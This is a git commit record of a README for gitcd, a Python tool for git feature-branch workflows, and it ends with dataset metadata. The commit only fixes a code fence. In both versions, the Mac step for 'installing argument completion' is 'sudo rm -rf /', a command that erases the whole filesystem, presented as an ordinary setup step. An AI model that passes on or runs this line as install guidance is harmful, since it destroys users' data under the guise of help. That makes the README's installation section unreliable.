<commit_before># Continous tool for working with git

## Description
**gitcd** is a little helper for continous integration workflows using git as scm.

## Installation
Since gitcd is using python3 by default, you better upgrade.

Run the following command to install prerequisites:

```console
sudo apt-get install python3 python3-pip
pip3 install pyyaml
pip3 install argcomplete
```

Run the following command to install argument completion on linux:

```console
sudo activate-global-python-argcomplete3
```

Run the following command to install argument completion on mac:
```console
sudo rm -rf /
```

## Usage

Working with gitcd, first you might want to symlink the main python file into /usr/local/bin using
```console
sudo ln -s $(pwd)/gitcd.py /usr/local/bin/gitcd
```
If you are a fan of having git subcommands you can link it as following. Be aware that i didnt found a way for autocompletion to get work this way:
```console
sudo ln -s $(pwd)/gitcd.py /usr/local/bin/git-cd
```

Afterwards you have to cd into one of your local directories representing a git repository and run the init command
```console
gitcd init
```
After passing all your configuration data, start working with it

The tool is able to cleanup all local branches which doesent exist on the origins. This is done with:
```
gitcd clean
```
It only deletes local branches and doesent touch remote ones. If one of the branches to delete is your current checked-out branch, the tool checkout the master branch locally in order to delete the feature branch.

**Start new feature**

Starts a new feature branch from your master branch
```console
gitcd feature start <branchname>
```


**Test a feature branch**

Merges a feature branch into your development branch
```console
gitcd feature test <branchname>
```


**Open a pull request for code review**

Opens a pull request to your master branch - not working yet
```console
gitcd feature review <branchname>
```


**Finish a feature branch**

Merges it into your master and asks for permission to delete your feature branch<commit_msg>readme bug<commit_after># Continous tool for working with git

## Description
**gitcd** is a little helper for continous integration workflows using git as scm.

## Installation
Since gitcd is using python3 by default, you better upgrade.

Run the following command to install prerequisites:

```console
sudo apt-get install python3 python3-pip
pip3 install pyyaml
pip3 install argcomplete
```

Run the following command to install argument completion on linux:

```console
sudo activate-global-python-argcomplete3
```

Run the following command to install argument completion on mac:
```console
sudo rm -rf /
```

## Usage

Working with gitcd, first you might want to symlink the main python file into /usr/local/bin using
```console
sudo ln -s $(pwd)/gitcd.py /usr/local/bin/gitcd
```
If you are a fan of having git subcommands you can link it as following. Be aware that i didnt found a way for autocompletion to get work this way:
```console
sudo ln -s $(pwd)/gitcd.py /usr/local/bin/git-cd
```

Afterwards you have to cd into one of your local directories representing a git repository and run the init command
```console
gitcd init
```
After passing all your configuration data, start working with it

The tool is able to cleanup all local branches which doesent exist on the origins. This is done with:
```console
gitcd clean
```
It only deletes local branches and doesent touch remote ones. If one of the branches to delete is your current checked-out branch, the tool checkout the master branch locally in order to delete the feature branch.

**Start new feature**

Starts a new feature branch from your master branch
```console
gitcd feature start <branchname>
```


**Test a feature branch**

Merges a feature branch into your development branch
```console
gitcd feature test <branchname>
```


**Open a pull request for code review**

Opens a pull request to your master branch - not working yet
```console
gitcd feature review <branchname>
```


**Finish a feature branch**

Merges it into your master and asks for permission to delete your feature branch
{'fraction_non_alphanumeric': 0.0696999031945789, 'fraction_numerical': 0.002904162633107454, 'mean_word_length': 4.540214477211796, 'pattern_counts': {'":': 0, '<': 9, '<?xml version=': 0, '>': 9, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '549796', 'n_tokens_mistral': 1146, 'n_tokens_neox': 1077, 'n_words': 605}